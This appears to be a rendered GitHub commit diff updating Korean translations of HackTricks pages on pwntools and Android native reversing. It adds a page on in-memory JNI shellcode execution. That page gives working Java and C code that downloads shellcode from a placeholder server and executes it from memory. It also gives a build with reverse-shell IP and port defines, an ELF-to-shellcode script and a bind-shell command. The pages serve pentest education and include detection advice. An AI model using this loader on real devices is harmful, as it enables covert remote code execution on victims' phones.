mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/android-app-pentesting/in-memory-jni-
This commit is contained in:
		
							parent
							
								
									eea2958f2d
								
							
						
					
					
						commit
						312e7808f5
					
				| @ -353,6 +353,7 @@ | ||||
|     - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) | ||||
|     - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) | ||||
|   - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) | ||||
|   - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) | ||||
|   - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) | ||||
|   - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) | ||||
|   - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) | ||||
|  | ||||
| @ -11,12 +11,12 @@ pip3 install pwntools | ||||
| pwn asm "jmp esp" | ||||
| pwn asm -i <filepath> | ||||
| ``` | ||||
| **선택할 수 있는 항목:** | ||||
| **선택 가능:** | ||||
| 
 | ||||
| - 출력 유형 (raw, hex, string, elf) | ||||
| - 출력 파일 컨텍스트 (16, 32, 64, linux, windows...) | ||||
| - 피할 바이트 (새 줄, null, 목록) | ||||
| - gdb를 사용하여 디버그 셸코드를 선택하고 출력을 실행 | ||||
| - 출력 유형 (raw,hex,string,elf) | ||||
| - 출력 파일 컨텍스트 (16,32,64,linux,windows...) | ||||
| - 제외할 bytes (new lines, null, a list) | ||||
| - encoder 선택; debug shellcode를 gdb로 실행하여 output을 확인 | ||||
| 
 | ||||
| ## **Pwn checksec** | ||||
| 
 | ||||
| @ -28,53 +28,53 @@ pwn checksec <executable> | ||||
| 
 | ||||
| ## Pwn cyclic | ||||
| 
 | ||||
| 패턴 가져오기 | ||||
| 패턴 생성 | ||||
| ``` | ||||
| pwn cyclic 3000 | ||||
| pwn cyclic -l faad | ||||
| ``` | ||||
| **선택할 수 있는 항목:** | ||||
| **선택 가능:** | ||||
| 
 | ||||
| - 사용된 알파벳(기본적으로 소문자 문자) | ||||
| - 고유 패턴의 길이(기본값 4) | ||||
| - 컨텍스트(16,32,64,linux,windows...) | ||||
| - 오프셋 가져오기(-l) | ||||
| - 사용되는 alphabet (기본값: lowercase chars) | ||||
| - uniq pattern의 길이 (기본값: 4) | ||||
| - context (16,32,64,linux,windows...) | ||||
| - 오프셋 가져오기 (-l) | ||||
| 
 | ||||
| ## Pwn 디버그 | ||||
| ## Pwn debug | ||||
| 
 | ||||
| 프로세스에 GDB 연결 | ||||
| 프로세스에 GDB를 연결 | ||||
| ``` | ||||
| pwn debug --exec /bin/bash | ||||
| pwn debug --pid 1234 | ||||
| pwn debug --process bash | ||||
| ``` | ||||
| **선택할 수 있습니다:** | ||||
| **선택 가능:** | ||||
| 
 | ||||
| - 실행 파일, 이름 또는 pid 컨텍스트(16,32,64,linux,windows...) | ||||
| - executable별, name별 또는 pid context별 (16,32,64,linux,windows...) | ||||
| - 실행할 gdbscript | ||||
| - sysrootpath | ||||
| 
 | ||||
| ## Pwn disablenx | ||||
| 
 | ||||
| 바이너리의 nx 비활성화 | ||||
| binary의 nx 비활성화 | ||||
| ``` | ||||
| pwn disablenx <filepath> | ||||
| ``` | ||||
| ## Pwn disasm | ||||
| 
 | ||||
| Hex opcode를 디스어셈블합니다. | ||||
| hex opcodes를 디스어셈블 | ||||
| ``` | ||||
| pwn disasm ffe4 | ||||
| ``` | ||||
| **선택할 수 있습니다:** | ||||
| **선택 가능:** | ||||
| 
 | ||||
| - 컨텍스트 (16,32,64,linux,windows...) | ||||
| - 기본 주소 | ||||
| - 색상(기본)/무색 | ||||
| - context (16,32,64,linux,windows...) | ||||
| - base 주소 | ||||
| - color(default)/no color | ||||
| 
 | ||||
| ## Pwn elfdiff | ||||
| 
 | ||||
| 두 파일 간의 차이를 출력합니다. | ||||
| 두 파일 간의 차이점을 출력 | ||||
| ``` | ||||
| pwn elfdiff <file1> <file2> | ||||
| ``` | ||||
| @ -90,11 +90,11 @@ hexdump 가져오기 | ||||
| ``` | ||||
| pwn phd <file> | ||||
| ``` | ||||
| **선택할 수 있습니다:** | ||||
| **선택 가능:** | ||||
| 
 | ||||
| - 표시할 바이트 수 | ||||
| - 하이라이트 바이트당 바이트 수 | ||||
| - 시작 부분의 바이트 건너뛰기 | ||||
| - 한 줄당 바이트 수 및 강조할 바이트 | ||||
| - 처음의 바이트 건너뛰기 | ||||
| 
 | ||||
| ## Pwn pwnstrip | ||||
| 
 | ||||
| @ -102,7 +102,7 @@ pwn phd <file> | ||||
| 
 | ||||
| ## Pwn shellcraft | ||||
| 
 | ||||
| 쉘코드 가져오기 | ||||
| shellcodes 가져오기 | ||||
| ``` | ||||
| pwn shellcraft -l #List shellcodes | ||||
| pwn shellcraft -l amd #Shellcode with amd in the name | ||||
| @ -110,32 +110,32 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run | ||||
| pwn shellcraft -r amd64.linux.sh #Run to test. Get shell | ||||
| pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port | ||||
| ``` | ||||
| **선택할 수 있는 항목:** | ||||
| **선택 가능:** | ||||
| 
 | ||||
| - 쉘코드 및 쉘코드에 대한 인수 | ||||
| - shellcode와 인자 | ||||
| - 출력 파일 | ||||
| - 출력 형식 | ||||
| - 디버그 (쉘코드에 dbg 연결) | ||||
| - 이전 (코드 이전에 디버그 트랩) | ||||
| - 이후 | ||||
| - opcodes 사용 피하기 (기본값: null 및 새 줄 아님) | ||||
| - 쉘코드 실행 | ||||
| - debug (attach dbg to shellcode) | ||||
| - before (debug trap before code) | ||||
| - after | ||||
| - opcodes 사용 회피 (기본: null과 new line 제외) | ||||
| - shellcode 실행 | ||||
| - 색상/무색상 | ||||
| - 시스템 호출 목록 | ||||
| - 가능한 쉘코드 목록 | ||||
| - ELF를 공유 라이브러리로 생성 | ||||
| - syscalls 목록 | ||||
| - 가능한 shellcodes 목록 | ||||
| - ELF를 shared library로 생성 | ||||
| 
 | ||||
| ## Pwn 템플릿 | ||||
| ## Pwn template | ||||
| 
 | ||||
| 파이썬 템플릿 가져오기 | ||||
| python 템플릿 가져오기 | ||||
| ``` | ||||
| pwn template | ||||
| ``` | ||||
| **선택할 수 있는 항목:** 호스트, 포트, 사용자, 비밀번호, 경로 및 조용함 | ||||
| **선택 가능:** host, port, user, pass, path and quiet | ||||
| 
 | ||||
| ## Pwn unhex | ||||
| 
 | ||||
| 16진수에서 문자열로 | ||||
| hex에서 string으로 | ||||
| ``` | ||||
| pwn unhex 686f6c61 | ||||
| ``` | ||||
| @ -145,4 +145,37 @@ pwntools를 업데이트하려면 | ||||
| ``` | ||||
| pwn update | ||||
| ``` | ||||
| ## ELF → raw shellcode 패키징 (loader_append) | ||||
| 
 | ||||
| Pwntools는 독립 실행형 ELF를 세그먼트를 스스로 매핑하고 원래 엔트리포인트로 실행을 전달하는 단일 raw shellcode 블롭으로 변환할 수 있습니다. 이는 다운로드한 바이트를 실행하기 위해 JNI를 호출하는 Android 앱 같은 메모리‑전용 로더에 이상적입니다. | ||||
| 
 | ||||
| Typical pipeline (amd64 example) | ||||
| 
 | ||||
| 1) Build a static, position‑independent payload ELF (musl recommended for portability): | ||||
| ```bash | ||||
| musl-gcc -O3 -s -static -o exploit exploit.c \ | ||||
| -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" | ||||
| ``` | ||||
| 2) ELF → shellcode로 변환 (pwntools 사용): | ||||
| ```python | ||||
| # exp2sc.py | ||||
| from pwn import * | ||||
| context.clear(arch='amd64') | ||||
| elf = ELF('./exploit') | ||||
| sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) | ||||
| open('sc','wb').write(sc) | ||||
| print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") | ||||
| ``` | ||||
| 3) sc를 메모리 로더(예: HTTP[S]를 통해)로 전달하여 프로세스 내에서 실행합니다. | ||||
| 
 | ||||
| Notes | ||||
| - loader_append는 원본 ELF 프로그램을 shellcode에 임베드하고, 세그먼트를 mmaps하여 엔트리로 점프하는 소형 로더를 생성합니다. | ||||
| - context.clear(arch=...)로 아키텍처를 명시하세요. arm64는 Android에서 일반적입니다. | ||||
| - payload의 코드가 위치 비종속(position-independent)이 되도록 하고, 프로세스의 ASLR/NX에 대한 가정을 피하세요. | ||||
| 
 | ||||
| ## 참고자료 | ||||
| 
 | ||||
| - [Pwntools](https://docs.pwntools.com/en/stable/) | ||||
| - [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
|  | ||||
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							| @ -0,0 +1,121 @@ | ||||
| # Android에서 JNI를 통한 In-Memory Native Code Execution (shellcode) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 이 페이지는 untrusted Android 앱 프로세스에서 JNI를 사용해 네이티브 페이로드를 완전히 메모리 내에서 실행하는 실무 패턴을 문서화합니다. 이 흐름은 디스크에 네이티브 바이너리를 생성하지 않습니다: raw shellcode 바이트를 HTTP(S)로 다운로드하고, 이를 JNI 브리지로 전달한 다음 RX 메모리를 할당하고 점프합니다. | ||||
| 
 | ||||
| 왜 중요한가 | ||||
| - 포렌식 아티팩트 감소 (디스크에 ELF 없음) | ||||
| - ELF exploit binary에서 생성된 “stage-2” native payloads와 호환 | ||||
| - modern malware 및 red teams가 사용하는 tradecraft와 일치 | ||||
| 
 | ||||
| High-level pattern | ||||
| 1) Java/Kotlin에서 shellcode 바이트를 가져옴   | ||||
| 2) 바이트 배열을 인자로 native method (JNI)를 호출   | ||||
| 3) JNI 내부: RW 메모리 할당 → 바이트 복사 → mprotect로 RX로 변경 → entrypoint 호출 | ||||
| 
 | ||||
| Minimal example | ||||
| 
 | ||||
| Java/Kotlin side | ||||
| ```java | ||||
| public final class NativeExec { | ||||
| static { System.loadLibrary("nativeexec"); } | ||||
| public static native int run(byte[] sc); | ||||
| } | ||||
| 
 | ||||
| // Download and execute (simplified) | ||||
| byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); | ||||
| int rc = NativeExec.run(sc); | ||||
| ``` | ||||
| C JNI 측 (arm64/amd64) | ||||
| ```c | ||||
| #include <jni.h> | ||||
| #include <sys/mman.h> | ||||
| #include <string.h> | ||||
| #include <unistd.h> | ||||
| 
 | ||||
| static inline void flush_icache(void *p, size_t len) { | ||||
| __builtin___clear_cache((char*)p, (char*)p + len); | ||||
| } | ||||
| 
 | ||||
| JNIEXPORT jint JNICALL | ||||
| Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { | ||||
| jsize len = (*env)->GetArrayLength(env, sc); | ||||
| if (len <= 0) return -1; | ||||
| 
 | ||||
| // RW anonymous buffer | ||||
| void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | ||||
| if (buf == MAP_FAILED) return -2; | ||||
| 
 | ||||
| jboolean isCopy = 0; | ||||
| jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); | ||||
| if (!bytes) { munmap(buf, len); return -3; } | ||||
| 
 | ||||
| memcpy(buf, bytes, len); | ||||
| (*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); | ||||
| 
 | ||||
| // Make RX and execute | ||||
| if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } | ||||
| flush_icache(buf, len); | ||||
| 
 | ||||
| int (*entry)(void) = (int (*)(void))buf; | ||||
| int ret = entry(); | ||||
| 
 | ||||
| // Optional: restore RW and wipe | ||||
| mprotect(buf, len, PROT_READ | PROT_WRITE); | ||||
| memset(buf, 0, len); | ||||
| munmap(buf, len); | ||||
| return ret; | ||||
| } | ||||
| ``` | ||||
| 참고 및 주의사항 | ||||
| - W^X/execmem: 최신 Android는 W^X를 적용합니다; 익명 PROT_EXEC 매핑은 JIT가 있는 앱 프로세스에 대해 (SELinux 정책에 따름) 일반적으로 여전히 허용됩니다. 일부 기기/ROM은 이를 제한할 수 있으므로, 필요 시 JIT-allocated exec pools 또는 native bridges로 대체하세요. | ||||
| - Architectures: shellcode 아키텍처가 기기와 일치하는지 확인하세요(일반적으로 arm64-v8a; x86은 에뮬레이터에서만). | ||||
| - Entrypoint contract: shellcode 진입 규약(인수 없음 vs 구조체 포인터)을 결정하세요. position-independent (PIC)로 유지하세요. | ||||
| - Stability: 점프하기 전에 instruction cache를 지우세요; 캐시 불일치는 ARM에서 크래시를 일으킬 수 있습니다. | ||||
| 
 | ||||
| 패키징: ELF → position‑independent shellcode | ||||
| 안정적인 운영 파이프라인은 다음과 같습니다: | ||||
| - exploit을 musl-gcc로 static ELF로 빌드하세요 | ||||
| - ELF를 pwntools’ shellcraft.loader_append를 사용해 self‑loading shellcode blob으로 변환하세요 | ||||
| 
 | ||||
| 빌드 | ||||
| ```bash | ||||
| musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ | ||||
| -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" | ||||
| ``` | ||||
| ELF를 raw shellcode로 변환 (amd64 예제) | ||||
| ```python | ||||
| # exp2sc.py | ||||
| from pwn import * | ||||
| context.clear(arch='amd64') | ||||
| elf = ELF('./exploit') | ||||
| loader = shellcraft.loader_append(elf.data, arch='amd64') | ||||
| sc = asm(loader) | ||||
| open('sc','wb').write(sc) | ||||
| print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") | ||||
| ``` | ||||
| 왜 loader_append가 작동하는가: 이는 내장된 ELF 프로그램 세그먼트를 메모리에 매핑하고 그 entrypoint로 제어를 전달하는 작은 로더를 생성하여, 앱이 memcpy’ed하여 실행할 수 있는 단일 raw blob을 제공합니다. | ||||
| 
 | ||||
| Delivery | ||||
| - 자신이 제어하는 HTTP(S) 서버에 sc를 호스트한다 | ||||
| - 백도어/테스트 앱이 sc를 다운로드하고 위에 나온 JNI 브리지를 호출한다 | ||||
| - 커널/유저 모드 페이로드가 생성하는 리버스 연결을 수신하기 위해 운영자 머신에서 대기한다 | ||||
| 
 | ||||
| Validation workflow for kernel payloads | ||||
| - 빠른 리버싱/오프셋 복구를 위해 symbolized vmlinux를 사용한다 | ||||
| - 가능하면 편리한 debug 이미지에서 primitives를 프로토타이핑하되, 항상 실제 Android 대상에서 재검증해야 한다 (kallsyms, KASLR slide, page-table layout, and mitigations differ) | ||||
| 
 | ||||
| Hardening/Detection (blue team) | ||||
| - 가능한 경우 앱 도메인에서 anonymous PROT_EXEC을 금지한다 (SELinux policy) | ||||
| - 엄격한 코드 무결성을 적용한다 (no dynamic native loading from network) 및 업데이트 채널을 검증한다 | ||||
| - RX로의 의심스러운 mmap/mprotect 전환 및 점프 전에 일어나는 대용량 바이트-배열 복사를 모니터링한다 | ||||
| 
 | ||||
| References | ||||
| - [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) | ||||
| - [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) | ||||
| - [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) | ||||
| - [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) | ||||
| - [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| @ -1,16 +1,16 @@ | ||||
| # 네이티브 라이브러리 리버싱 | ||||
| # Reversing 네이티브 라이브러리 | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
| **자세한 정보:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) | ||||
| **추가 정보:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) | ||||
| 
 | ||||
| Android 앱은 일반적으로 성능이 중요한 작업을 위해 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성 코드 제작자들도 ELF shared objects가 DEX/OAT 바이트코드보다 디컴파일하기 더 어렵기 때문에 이러한 라이브러리를 악용합니다. | ||||
| 이 페이지는 Android `.so` 파일 리버싱을 더 쉽게 만드는 *실용적인* 워크플로우와 *최신* 도구 개선사항(2023-2025)에 중점을 둡니다. | ||||
| Android 앱은 성능에 민감한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있다. 악성코드 제작자들도 이러한 라이브러리를 악용하는데, ELF shared objects는 여전히 DEX/OAT 바이트코드보다 디컴파일하기 더 어렵기 때문이다. | ||||
| 이 페이지는 Android `.so` 파일 리버싱을 더 쉽게 만드는 *실용적* 워크플로우와 *최근(2023-2025)* 툴 개선 사항에 중점을 둔다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### 새로 확보한 `libfoo.so`에 대한 빠른 분류 워크플로우 | ||||
| ### 신규로 추출한 `libfoo.so`에 대한 빠른 트리아지 워크플로우 | ||||
| 
 | ||||
| 1. **라이브러리 추출** | ||||
| ```bash | ||||
| @ -19,7 +19,7 @@ adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so | ||||
| # Or from the APK (zip) | ||||
| unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/ | ||||
| ``` | ||||
| 2. **아키텍처 및 보호 식별** | ||||
| 2. **아키텍처 및 보호 설정 확인** | ||||
| ```bash | ||||
| file libfoo.so        # arm64 or arm32 / x86 | ||||
| readelf -h libfoo.so  # OS ABI, PIE, NX, RELRO, etc. | ||||
| @ -30,21 +30,21 @@ checksec --file libfoo.so  # (peda/pwntools) | ||||
| readelf -s libfoo.so | grep ' Java_'     # dynamic-linked JNI | ||||
| strings libfoo.so   | grep -i "RegisterNatives" -n   # static-registered JNI | ||||
| ``` | ||||
| 4. **디컴파일러에서 로드** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) 및 자동 분석 실행. | ||||
| 신규 Ghidra 버전은 AArch64 decompiler가 PAC/BTI stubs 및 MTE tags를 인식하도록 도입되어 Android 14 NDK로 빌드된 라이브러리 분석이 크게 향상되었습니다. | ||||
| 5. **정적 vs 동적 리버싱 결정:** 스트립되었거나 난독화된 코드는 종종 *instrumentation*(Frida, ptrace/gdbserver, LLDB)이 필요합니다. | ||||
| 4. **디컴파일러에 로드** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) 및 자동 분석 실행. | ||||
| 최근 Ghidra 버전은 AArch64 decompiler를 도입했으며, PAC/BTI stubs와 MTE tags를 인식하여 Android 14 NDK로 빌드된 라이브러리의 분석을 크게 개선한다. | ||||
| 5. **정적 vs 동적 reversing 결정:** 스트립되거나 난독화된 코드는 종종 *instrumentation* (Frida, ptrace/gdbserver, LLDB)이 필요하다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Dynamic Instrumentation (Frida ≥ 16) | ||||
| 
 | ||||
| Frida의 16 시리즈는 대상이 최신 Clang/LLD 최적화를 사용할 때 도움이 되는 여러 Android 전용 개선사항을 도입했습니다: | ||||
| Frida의 16 시리즈는 대상이 최신 Clang/LLD 최적화를 사용할 때 도움이 되는 여러 Android 특정 개선을 가져왔다: | ||||
| 
 | ||||
| * `thumb-relocator`은 이제 LLD의 aggressive alignment(`--icf=all`)로 생성된 *hook tiny ARM/Thumb functions*를 처리할 수 있습니다. | ||||
| * Android에서 *ELF import slots*의 열거 및 재바인딩이 작동하여, inline hooks가 거부될 때 모듈별 `dlopen()`/`dlsym()` 패치가 가능해졌습니다. | ||||
| * 앱이 Android 14에서 `--enable-optimizations`로 컴파일될 때 사용되는 새로운 **ART quick-entrypoint**를 위한 Java hooking이 수정되었습니다. | ||||
| * `thumb-relocator`는 이제 LLD의 공격적 정렬(`--icf=all`)로 생성된 작은 ARM/Thumb 함수를 *hook*할 수 있다. | ||||
| * *ELF import slots*를 열거하고 재바인딩하는 기능이 Android에서 동작하여, 인라인 훅이 거부될 때 모듈별 `dlopen()`/`dlsym()` 패칭을 가능하게 한다. | ||||
| * Android 14에서 `--enable-optimizations`로 컴파일된 앱에서 사용되는 새로운 **ART quick-entrypoint**에 대한 Java hooking이 수정되었다. | ||||
| 
 | ||||
| 예: `RegisterNatives`를 통해 등록된 모든 함수를 열거하고 런타임에 그 주소를 덤프하기: | ||||
| 예시: `RegisterNatives`를 통해 등록된 모든 함수를 열거하고 런타임에 그 주소를 덤프하기: | ||||
| ```javascript | ||||
| Java.perform(function () { | ||||
| var Runtime = Java.use('java.lang.Runtime'); | ||||
| @ -61,27 +61,27 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met | ||||
| }); | ||||
| }); | ||||
| ``` | ||||
| Frida는 PAC/BTI-enabled 장치(Pixel 8/Android 14+)에서 frida-server 16.2 이상을 사용하면 바로 동작합니다 – 이전 버전은 inline hooks용 패딩을 찾지 못했습니다. | ||||
| Frida는 PAC/BTI-enabled 기기(Pixel 8/Android 14+)에서 frida-server 16.2 이상을 사용하면 별도 설정 없이 동작합니다 — 이전 버전은 inline hooks의 패딩을 찾지 못했습니다. | ||||
| 
 | ||||
| ### Process-local JNI telemetry via preloaded .so (SoTap) | ||||
| 
 | ||||
| 완전한 instrumentation이 과하거나 차단된 경우, 대상 프로세스 내부에 작은 로거를 사전 로드하여 네이티브 수준의 가시성을 확보할 수 있습니다. SoTap은 동일 앱 프로세스 내 다른 JNI (.so) 라이브러리의 런타임 동작을 기록하는 경량 Android 네이티브(.so) 라이브러리입니다(루트 불필요). | ||||
| 전체 기능의 계측(instrumentation)이 과하거나 차단된 경우, 대상 프로세스에 작은 로거를 사전 로드해 네이티브 수준의 가시성을 확보할 수 있습니다. SoTap는 동일 앱 프로세스 내의 다른 JNI(.so) 라이브러리들의 런타임 동작을 로깅하는 경량 Android 네이티브(.so) 라이브러리입니다 (루트 불필요). | ||||
| 
 | ||||
| Key properties: | ||||
| - Initializes early and observes JNI/native interactions inside the process that loads it. | ||||
| - Persists logs using multiple writable paths with graceful fallback to Logcat when storage is restricted. | ||||
| - Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI. | ||||
| - 초기에 초기화되며, 그것을 로드한 프로세스 내에서의 JNI/native 상호작용을 관찰합니다. | ||||
| - 여러 쓰기 가능한 경로에 로그를 지속적으로 저장하며, 저장소 제약이 있을 때는 Logcat으로 우아하게 fallback합니다. | ||||
| - Source-customizable: sotap.c를 편집해 로깅 대상을 확장/조정하고 ABI별로 재빌드하세요. | ||||
| 
 | ||||
| Setup (repack the APK): | ||||
| 1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so: | ||||
| 1) 로더가 libsotap.so를 해석할 수 있도록 APK에 적절한 ABI 빌드를 넣습니다: | ||||
| - lib/arm64-v8a/libsotap.so (for arm64) | ||||
| - lib/armeabi-v7a/libsotap.so (for arm32) | ||||
| 2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example: | ||||
| 2) SoTap가 다른 JNI 라이브러리보다 먼저 로드되도록 하세요. 로거가 먼저 초기화되도록 초기에 호출을 삽입합니다(예: Application subclass static initializer 또는 onCreate). Smali snippet example: | ||||
| ```smali | ||||
| const-string v0, "sotap" | ||||
| invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V | ||||
| ``` | ||||
| 3) Rebuild/sign/install, run the app, then collect logs. | ||||
| 3) 재빌드/서명/설치 후 앱을 실행하고 로그를 수집하세요. | ||||
| 
 | ||||
| Log paths (checked in order): | ||||
| ``` | ||||
| @ -92,38 +92,48 @@ Log paths (checked in order): | ||||
| # If all fail: fallback to Logcat only | ||||
| ``` | ||||
| Notes and troubleshooting: | ||||
| - ABI 정렬은 필수입니다. 불일치는 UnsatisfiedLinkError 를 발생시키고 logger 가 로드되지 않습니다. | ||||
| - 저장 공간 제약은 현대 Android 에서 흔합니다; 파일 쓰기가 실패하면 SoTap 은 여전히 Logcat 을 통해 출력합니다. | ||||
| - 동작/출력 수준(verbosity)은 사용자화하도록 설계되었습니다; sotap.c 를 편집한 뒤 소스에서 다시 빌드하세요. | ||||
| - ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger won’t load. | ||||
| - Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat. | ||||
| - Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c. | ||||
| 
 | ||||
| 이 접근법은 프로세스 시작 시점부터 네이티브 호출 흐름을 관찰해야 하는 malware 정리(malware triage)와 JNI 디버깅에 유용합니다. 특히 root/시스템 전체 훅이 불가능한 경우에 중요합니다. | ||||
| This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### See also: in‑memory native code execution via JNI | ||||
| 
 | ||||
| A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here: | ||||
| 
 | ||||
| {{#ref}} | ||||
| in-memory-jni-shellcode-execution.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Recent vulnerabilities worth hunting for in APKs | ||||
| 
 | ||||
| | Year | CVE | Affected library | Notes | | ||||
| | 연도 | CVE | 영향받는 라이브러리 | 설명 | | ||||
| |------|-----|------------------|-------| | ||||
| |2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|네이티브 코드에서 WebP 이미지를 디코드할 때 도달 가능한 힙 버퍼 오버플로우. 여러 Android 앱이 취약한 버전을 번들링합니다. APK 내부에 `libwebp.so` 가 보이면 버전을 확인하고 익스플로잇 또는 패치 시도를 하세요.| | | ||||
| |2024|Multiple|OpenSSL 3.x series|여러 메모리 안전성 및 padding-oracle 이슈. 많은 Flutter & ReactNative 번들들이 자체 `libcrypto.so` 를 포함해 배포됩니다.| | ||||
| |2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|WebP 이미지를 디코딩하는 네이티브 코드에서 도달 가능한 힙 버퍼 오버플로우. 여러 Android 앱이 취약한 버전을 번들합니다. APK 내부에 `libwebp.so`가 보이면 버전을 확인하고 exploitation 또는 패치를 시도하세요.| | | ||||
| |2024|Multiple|OpenSSL 3.x series|여러 메모리 안전성 및 padding-oracle 문제. 많은 Flutter & ReactNative 번들들이 자체 `libcrypto.so`를 탑재합니다.| | ||||
| 
 | ||||
| APK 내부에서 *타사(third-party)* `.so` 파일을 발견하면 항상 해당 해시를 upstream advisory 와 대조하세요. 모바일에서는 SCA (Software Composition Analysis) 가 드물어 오래된 취약 빌드가 널리 존재합니다. | ||||
| When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Anti-Reversing & Hardening trends (Android 13-15) | ||||
| 
 | ||||
| * **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 은 지원되는 ARMv8.3+ 실리콘에서 시스템 라이브러리에 PAC/BTI 를 활성화합니다. 디컴파일러는 이제 PAC 관련 의사 명령(pseudo-instructions)을 표시합니다; 동적 분석을 위해 Frida 는 PAC 를 제거한 후 트램폴린을 주입하지만, 커스텀 트램폴린은 필요한 경우 `pacda`/`autibsp` 를 호출해야 합니다. | ||||
| * **MTE & Scudo hardened allocator:** memory-tagging 은 옵트인(opt-in) 이지만 많은 Play-Integrity 인식 앱들이 `-fsanitize=memtag` 로 빌드합니다; 태그 폴트를 캡처하려면 `setprop arm64.memtag.dump 1` 과 `adb shell am start ...` 를 사용하세요. | ||||
| * **LLVM Obfuscator (opaque predicates, control-flow flattening):** 상용 패커들(예: Bangcle, SecNeo) 이 점점 더 *네이티브* 코드도 보호합니다. `.rodata` 에서 가짜 제어 흐름과 암호화된 문자열 블롭을 예상하세요. | ||||
| * **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 enables PAC/BTI in system libraries on supported ARMv8.3+ silicon. Decompilers now display PAC‐related pseudo-instructions; for dynamic analysis Frida injects trampolines *after* stripping PAC, but your custom trampolines should call `pacda`/`autibsp` where necessary. | ||||
| * **MTE & Scudo hardened allocator:** memory-tagging is opt-in but many Play-Integrity aware apps build with `-fsanitize=memtag`; use `setprop arm64.memtag.dump 1` plus `adb shell am start ...` to capture tag faults. | ||||
| * **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) increasingly protect *native* code, not only Java; expect bogus control-flow and encrypted string blobs in `.rodata`. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Resources | ||||
| 
 | ||||
| - **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) | ||||
